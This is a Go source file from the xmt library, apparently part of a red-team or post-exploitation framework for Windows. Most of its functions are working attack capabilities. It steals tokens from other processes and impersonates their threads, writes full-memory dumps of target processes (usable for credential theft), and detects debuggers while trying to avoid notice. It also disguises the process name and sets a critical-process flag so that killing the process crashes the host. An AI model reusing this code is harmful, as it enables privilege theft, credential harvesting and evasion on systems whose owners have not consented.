github.com/iDigitalFlame/xmt@v0.5.4/device/y_windows.go (about) 1 //go:build windows 2 // +build windows 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package device 21 22 import ( 23 "io" 24 "os" 25 "runtime" 26 "runtime/debug" 27 "strings" 28 "time" 29 "unsafe" 30 31 "github.com/iDigitalFlame/xmt/cmd/filter" 32 "github.com/iDigitalFlame/xmt/device/winapi" 33 "github.com/iDigitalFlame/xmt/util/bugtrack" 34 "github.com/iDigitalFlame/xmt/util/xerr" 35 ) 36 37 // ErrNoNix is an error that is returned when a Windows device attempts a *nix 38 // specific function. 39 // var ErrNoNix = xerr.Sub("only supported on *nix devices", 0x21) 40 41 type file interface { 42 File() (*os.File, error) 43 } 44 type fileFd interface { 45 Fd() uintptr 46 } 47 48 // GoExit attempts to walk through the process threads and will forcefully 49 // kill all Golang based OS-Threads based on their starting address (which 50 // should be the same when starting from CGo). 51 // 52 // This will attempt to determine the base thread and any children that may be 53 // running and take action on what type of host we're in to best end the 54 // runtime without crashing. 55 // 56 // This function can be used on binaries, shared libraries or Zombified processes. 57 // 58 // Only works on Windows devices and is a wrapper for 'syscall.Exit(0)' for 59 // *nix devices. 60 // 61 // DO NOT EXPECT ANYTHING (INCLUDING DEFERS) TO HAPPEN AFTER THIS FUNCTION. 62 func GoExit() { 63 winapi.KillRuntime() 64 } 65 66 // FreeOSMemory forces a garbage collection followed by an 67 // attempt to return as much memory to the operating system 68 // as possible. (Even if this is not called, the runtime gradually 69 // returns memory to the operating system in a background task.) 70 // 71 // On Windows, this function also calls 'SetProcessWorkingSetSizeEx(-1, -1, 0)' 72 // to force the OS to clear any free'd pages. 73 func FreeOSMemory() { 74 debug.FreeOSMemory() 75 winapi.EmptyWorkingSet() 76 } 77 78 // IsDebugged returns true if the current process is attached by a debugger. 79 func IsDebugged() bool { 80 // Try to open the DLLs first, so we don't alert to our attempts to detect 81 // a debugger. 82 if len(debugDlls) > 0 { 83 for _, v := range strings.Split(debugDlls, "\n") { 84 if winapi.CheckDebugWithLoad(v) { 85 return true 86 } 87 } 88 } 89 return winapi.IsDebugged() 90 } 91 func proxyInit() config { 92 var ( 93 i winapi.ProxyInfo 94 err = winapi.WinHTTPGetDefaultProxyConfiguration(&i) 95 ) 96 if err != nil { 97 if bugtrack.Enabled { 98 bugtrack.Track("device.proxyInit(): Retrieving proxy info failed, falling back to no proxy: %s", err.Error()) 99 } 100 return config{} 101 } 102 if i.AccessType < 3 || (i.Proxy == nil && i.ProxyBypass == nil) { 103 return config{} 104 } 105 var ( 106 v = winapi.UTF16PtrToString(i.Proxy) 107 b = winapi.UTF16PtrToString(i.ProxyBypass) 108 ) 109 if len(v) == 0 && len(b) == 0 { 110 return config{} 111 } 112 var c config 113 if i := split(b); len(i) > 0 { 114 c.NoProxy = strings.Join(i, ",") 115 } 116 for _, x := range split(v) { 117 if len(x) == 0 { 118 continue 119 } 120 q := strings.IndexByte(x, '=') 121 if q > 3 { 122 if (x[0] != 'h' && x[0] != 'H') || (x[1] != 't' && x[1] != 'T') || (x[2] != 't' && x[2] != 'T') || (x[3] != 'p' && x[3] != 'P') { 123 continue 124 } 125 if q == 4 { 126 c.HTTPProxy = x[q+1:] 127 } 128 if x[4] != 's' && x[4] != 'S' { 129 continue 130 } 131 if q > 5 { 132 continue 133 } 134 c.HTTPSProxy = x[q+1:] 135 continue 136 } 137 if len(c.HTTPProxy) == 0 { 138 c.HTTPProxy = x 139 } 140 if len(c.HTTPSProxy) == 0 { 141 c.HTTPSProxy = x 142 } 143 } 144 if bugtrack.Enabled { 145 bugtrack.Track( 146 "devtools.proxyInit(): Proxy info c.HTTPProxy=%s, c.HTTPSProxy=%s, c.NoProxy=%s", 147 c.HTTPProxy, c.HTTPSProxy, c.NoProxy, 148 ) 149 } 150 return c 151 } 152 153 // RevertToSelf function terminates the impersonation of a client application. 154 // Returns an error if no impersonation is being done. 155 // 156 // Always returns 'ErrNoWindows' on non-Windows devices. 157 func RevertToSelf() error { 158 return winapi.SetAllThreadsToken(0) 159 } 160 161 // Whoami returns the current user name. This function is different than the 162 // "local.Device.User" variable as this will be fresh everytime this is called, 163 // but also means that any API functions called will be re-done each call and 164 // are not cached. 165 // 166 // If caching or multiple fast calls are needed, use the "local" package instead. 167 // 168 // This function returns an error if determining the username results in an 169 // error. 170 func Whoami() (string, error) { 171 return winapi.GetLocalUser() 172 } 173 func split(s string) []string { 174 if len(s) == 0 { 175 return nil 176 } 177 if len(s) == 1 { 178 return []string{s} 179 } 180 var ( 181 r []string 182 x int 183 ) 184 for i := 1; i < len(s); i++ { 185 if s[i] != ';' && s[i] != ' ' { 186 continue 187 } 188 if x == i { 189 continue 190 } 191 for ; x < i && (s[x] == ';' || s[x] == ' '); x++ { 192 } 193 if x == i { 194 continue 195 } 196 r = append(r, s[x:i]) 197 if x = i + 1; x > len(s) { 198 break 199 } 200 for ; x < len(s) && (s[x] == ';' || s[x] == ' '); x++ { 201 } 202 i = x 203 } 204 if x == 0 && len(r) == 0 { 205 return []string{s} 206 } 207 if x < len(s) { 208 r = append(r, s[x:]) 209 } 210 return r 211 } 212 213 // Logins returns an array that contains information about current logged 214 // in users. 215 // 216 // This call is OS-independent but many contain invalid session types. 217 // 218 // Always returns an empty array on WSAM/JS. 219 func Logins() ([]Login, error) { 220 s, err := winapi.WTSGetSessions(0) 221 if err != nil { 222 return nil, err 223 } 224 if len(s) == 0 { 225 return nil, nil 226 } 227 o := make([]Login, 0, len(s)) 228 for i := range s { 229 if s[i].Status >= 6 && s[i].Status <= 9 { 230 continue 231 } 232 // NOTE(dij): Should we hide the "Services" session (ID:0, Status:4) 233 // from this list? 234 v := Login{ 235 ID: s[i].ID, 236 Host: s[i].Host, 237 Status: s[i].Status, 238 Login: time.Unix(s[i].Login, 0), 239 LastInput: time.Unix(s[i].LastInput, 0), 240 } 241 if v.From.SetBytes(s[i].From); len(s[i].Domain) > 0 { 242 v.User = s[i].Domain + "\\" + s[i].User 243 } else { 244 v.User = s[i].User 245 } 246 o = append(o, v) 247 } 248 return o, nil 249 } 250 251 // Mounts attempts to get the mount points on the local device. 252 // 253 // On Windows devices, this is the drive letters available, otherwise on nix* 254 // systems, this will be the mount points on the system. 255 // 256 // The return result (if no errors occurred) will be a string list of all the 257 // mount points (or Windows drive letters). 258 func Mounts() ([]string, error) { 259 d, err := winapi.GetLogicalDrives() 260 if err != nil { 261 return nil, xerr.Wrap("GetLogicalDrives", err) 262 } 263 m := make([]string, 0, 26) 264 for i := uint8(0); i < 26; i++ { 265 if (d & (1 << i)) == 0 { 266 continue 267 } 268 m = append(m, string(byte('A'+i))+":\\") 269 } 270 return m, nil 271 } 272 273 // SetProcessName will attempt to override the process name on *nix systems 274 // by overwriting the argv block. On Windows, this just overrides the command 275 // line arguments. 276 // 277 // Linux support only allows for suppling a command line shorter the current 278 // command line. 279 // 280 // Linux found here: https://stackoverflow.com/questions/14926020/setting-process-name-as-seen-by-ps-in-go 281 func SetProcessName(s string) error { 282 return winapi.SetCommandLine(s) 283 } 284 285 // SetCritical will set the critical flag on the current process. This function 286 // requires administrative privileges and will attempt to get the 287 // "SeDebugPrivilege" first before running. 288 // 289 // If successful, "critical" processes will BSOD the host when killed or will 290 // be prevented from running. 291 // 292 // The boolean returned is the last Critical status. It's set to True if the 293 // process was already marked as critical. 294 // 295 // Use this function with "false" to disable the critical flag. 296 // 297 // NOTE: THIS MUST BE DISABLED ON PROCESS EXIT OTHERWISE THE HOST WILL BSOD!!! 298 // 299 // Any errors when setting or obtaining privileges will be returned. 300 // 301 // Always returns 'ErrNoWindows' on non-Windows devices. 302 func SetCritical(c bool) (bool, error) { 303 if err := winapi.GetDebugPrivilege(); err != nil { 304 return false, err 305 } 306 return winapi.SetProcessIsCritical(c) 307 } 308 309 // Impersonate attempts to steal the Token in use by the target process of the 310 // supplied filter. 311 // 312 // This will set the permissions of all threads in use by the runtime. Once work 313 // has completed, it is recommended to call the 'RevertToSelf' function to 314 // revert the token changes. 315 // 316 // Always returns 'ErrNoWindows' on non-Windows devices. 317 func Impersonate(f *filter.Filter) error { 318 // Try this as it's faster first. 319 if ImpersonateThread(f) == nil { 320 return nil 321 } 322 if f.Empty() { 323 return filter.ErrNoProcessFound 324 } 325 // 0x2000F - TOKEN_READ (STANDARD_RIGHTS_READ | TOKEN_QUERY) | TOKEN_ASSIGN_PRIMARY 326 // TOKEN_DUPLICATE | TOKEN_IMPERSONATE 327 // NOTE(dij): Might need to change this to "0x200EF" which adds "TOKEN_WRITE" 328 // access. Also not sure if we need "TOKEN_IMPERSONATE" or "TOKEN_ASSIGN_PRIMARY" 329 // as we're duplicating it. 330 x, err := f.TokenFunc(0x2000F, nil) 331 if err != nil { 332 return err 333 } 334 // NOTE(dij): This function call handles differently than the 'ImpersonateUser' 335 // function. It seems only user tokens can be used for delegation 336 // and we should instead use this to impersonate an in-process token 337 // instead and copy it to all running threads, as most likely it has 338 // more rights than we currently have. 339 var y uintptr 340 // 0x2000000 - MAXIMUM_ALLOWED 341 // 0x2 - SecurityImpersonation 342 // 0x2 - TokenImpersonation 343 err = winapi.DuplicateTokenEx(x, 0x2000000, nil, 2, 2, &y) 344 if winapi.CloseHandle(x); err != nil { 345 return err 346 } 347 err = winapi.SetAllThreadsToken(y) 348 winapi.CloseHandle(y) 349 return err 350 } 351 352 // ImpersonateThread attempts to steal the Token in use by the target process of 353 // the supplied filter using Threads and 'NtImpersonateThread'. 354 // 355 // This will set the permissions of all threads in use by the runtime. Once work 356 // has completed, it is recommended to call the 'RevertToSelf' function to 357 // revert the token changes. 358 // 359 // Always returns 'ErrNoWindows' on non-Windows devices. 360 func ImpersonateThread(f *filter.Filter) error { 361 if f.Empty() { 362 return filter.ErrNoProcessFound 363 } 364 // 0x0200 - THREAD_DIRECT_IMPERSONATION 365 h, err := f.ThreadFunc(0x200, nil) 366 if err != nil { 367 return err 368 } 369 s := winapi.SecurityQualityOfService{ImpersonationLevel: 2} 370 s.Length = uint32(unsafe.Sizeof(s)) 371 err = winapi.ForEachThread(func(x uintptr) error { return winapi.NtImpersonateThread(x, h, &s) }) 372 winapi.CloseHandle(h) 373 return err 374 } 375 376 // DumpProcess will attempt to copy the memory of the targeted Filter to the 377 // supplied Writer. This fill select the first process that matches the Filter. 378 // 379 // Warning! This suspends the process, you cannot dump the same owning PID. 380 // 381 // If the Filter is nil or empty or if an error occurs during reading/writing 382 // an error will be returned. 383 // 384 // This function may fail if attempting to dump a process that is a different CPU 385 // architecture than the host process. 386 func DumpProcess(f *filter.Filter, w io.Writer) error { 387 if f.Empty() { 388 return filter.ErrNoProcessFound 389 } 390 winapi.GetDebugPrivilege() 391 // 0x450 - PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_DUP_HANDLE 392 h, err := f.HandleFunc(0x450, nil) 393 if err != nil { 394 return err 395 } 396 p, err := winapi.GetProcessID(h) 397 if err != nil { 398 winapi.CloseHandle(h) 399 return err 400 } 401 if p == winapi.GetCurrentProcessID() { 402 winapi.CloseHandle(h) 403 return xerr.Sub("cannot dump self", 0x22) 404 } 405 if v, ok := w.(fileFd); ok { 406 // 0x2 - MiniDumpWithFullMemory 407 err = winapi.MiniDumpWriteDump(h, p, v.Fd(), 0x2, nil) 408 winapi.CloseHandle(h) 409 return err 410 } 411 if v, ok := w.(file); ok { 412 x, err := v.File() 413 if err != nil { 414 winapi.CloseHandle(h) 415 return err 416 } 417 // 0x2 - MiniDumpWithFullMemory 418 err = winapi.MiniDumpWriteDump(h, p, x.Fd(), 0x2, nil) 419 winapi.CloseHandle(h) 420 return err 421 } 422 // 0x2 - MiniDumpWithFullMemory 423 err = winapi.MiniDumpWriteDump(h, p, 0, 0x2, w) 424 winapi.CloseHandle(h) 425 runtime.GC() 426 FreeOSMemory() 427 return err 428 } 429 430 // ImpersonateUser attempts to log in with the supplied credentials and 431 // impersonate the logged in account. 432 // 433 // This will set the permissions of all threads in use by the runtime. Once work 434 // has completed, it is recommended to call the 'RevertToSelf' function to 435 // revert the token changes. 436 // 437 // This impersonation is locally based, similar to impersonating a Process token. 438 // 439 // This also loads the user profile. 440 // 441 // Always returns 'ErrNoWindows' on non-Windows devices. 442 func ImpersonateUser(user, domain, pass string) error { 443 // 0x2 - LOGON32_LOGON_INTERACTIVE 444 h, err := winapi.LoginUser(user, domain, pass, 0x2, 0x0) 445 if err != nil { 446 return err 447 } 448 // 0x2000000 - MAXIMUM_ALLOWED 449 // 0x2 - SecurityImpersonation 450 var x uintptr 451 err = winapi.DuplicateTokenEx(h, 0x2000000, nil, 2, 2, &x) 452 if winapi.CloseHandle(h); err != nil { 453 return err 454 } 455 err = winapi.SetAllThreadsToken(x) 456 winapi.CloseHandle(x) 457 return err 458 } 459 460 // ImpersonateUserNetwork attempts to log in with the supplied credentials and 461 // impersonate the logged in account. 462 // 463 // This will set the permissions of all threads in use by the runtime. Once work 464 // has completed, it is recommended to call the 'RevertToSelf' function to 465 // revert the token changes. 466 // 467 // This impersonation is network based, unlike impersonating a Process token. 468 // (Windows-only, would be cool to do a *nix one). 469 func ImpersonateUserNetwork(user, domain, pass string) error { 470 // 0x9 - LOGON32_LOGON_NEW_CREDENTIALS 471 // 0x3 - LOGON32_PROVIDER_WINNT50 472 h, err := winapi.LoginUser(user, domain, pass, 0x9, 0x3) 473 if err != nil { 474 return err 475 } 476 // 0x2000000 - MAXIMUM_ALLOWED 477 // 0x2 - SecurityImpersonation 478 var x uintptr 479 err = winapi.DuplicateTokenEx(h, 0x2000000, nil, 2, 2, &x) 480 if winapi.CloseHandle(h); err != nil { 481 return err 482 } 483 err = winapi.SetAllThreadsToken(x) 484 winapi.CloseHandle(x) 485 return err 486 }